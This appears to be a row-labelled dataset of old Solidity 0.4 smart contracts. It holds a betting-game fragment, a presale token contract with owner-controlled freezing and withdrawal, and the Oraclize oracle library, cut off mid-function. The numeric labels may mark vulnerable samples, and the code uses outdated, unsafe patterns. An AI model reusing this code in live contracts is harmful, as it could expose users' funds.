if (msg.sender == feeAddress && lastBlock > 0 && block.number > lastBlock) {
uint fee = pot / 20;
KothWin(gameId, betId, koth, highestBet, pot, fee, firstBlock, lastBlock);
uint netPot = pot - fee;
address winner = koth;
resetKoth();
winner.transfer(netPot);
if (this.balance - fee >= minPot) {
feeAddress.transfer(fee);
}
}
}
function addFunds() payable public {
if (msg.sender != feeAddress) {
msg.sender.transfer(msg.value);
}
}
function kill() public {
if (msg.sender == feeAddress) {
selfdestruct(feeAddress);
}
}
} | 1 | 4,162 |
pragma solidity ^0.4.17;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract OysterPrePearl {
string public name = "Oyster PrePearl";
string public symbol = "PREPRL";
uint8 public decimals = 18;
uint256 public totalSupply = 0;
uint256 public funds = 0;
address public owner;
address public partner;
bool public saleClosed = false;
bool public transferFreeze = false;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function OysterPrePearl() public {
owner = msg.sender;
partner = 0x0524Fe637b77A6F5f0b3a024f7fD9Fe1E688A291;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyAuth {
require(msg.sender == owner || msg.sender == partner);
_;
}
function closeSale() public onlyOwner {
saleClosed = true;
}
function openSale() public onlyOwner {
saleClosed = false;
}
function freeze() public onlyOwner {
transferFreeze = true;
}
function thaw() public onlyOwner {
transferFreeze = false;
}
function () payable public {
require(!saleClosed);
require(msg.value >= 100 finney);
require(funds + msg.value <= 5000 ether);
uint buyPrice;
if (msg.value >= 50 ether) {
buyPrice = 8000;
}
else if (msg.value >= 5 ether) {
buyPrice = 7000;
}
else buyPrice = 6000;
uint256 amount;
amount = msg.value * buyPrice;
totalSupply += amount;
balanceOf[msg.sender] += amount;
funds += msg.value;
Transfer(this, msg.sender, amount);
}
function withdrawFunds() public onlyAuth {
uint256 payout = (this.balance/2) - 2;
owner.transfer(payout);
partner.transfer(payout);
}
function _transfer(address _from, address _to, uint _value) internal {
require(!transferFreeze);
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 5,040 |
pragma solidity 0.4.25;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
oraclize = OraclizeI(0);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) view internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
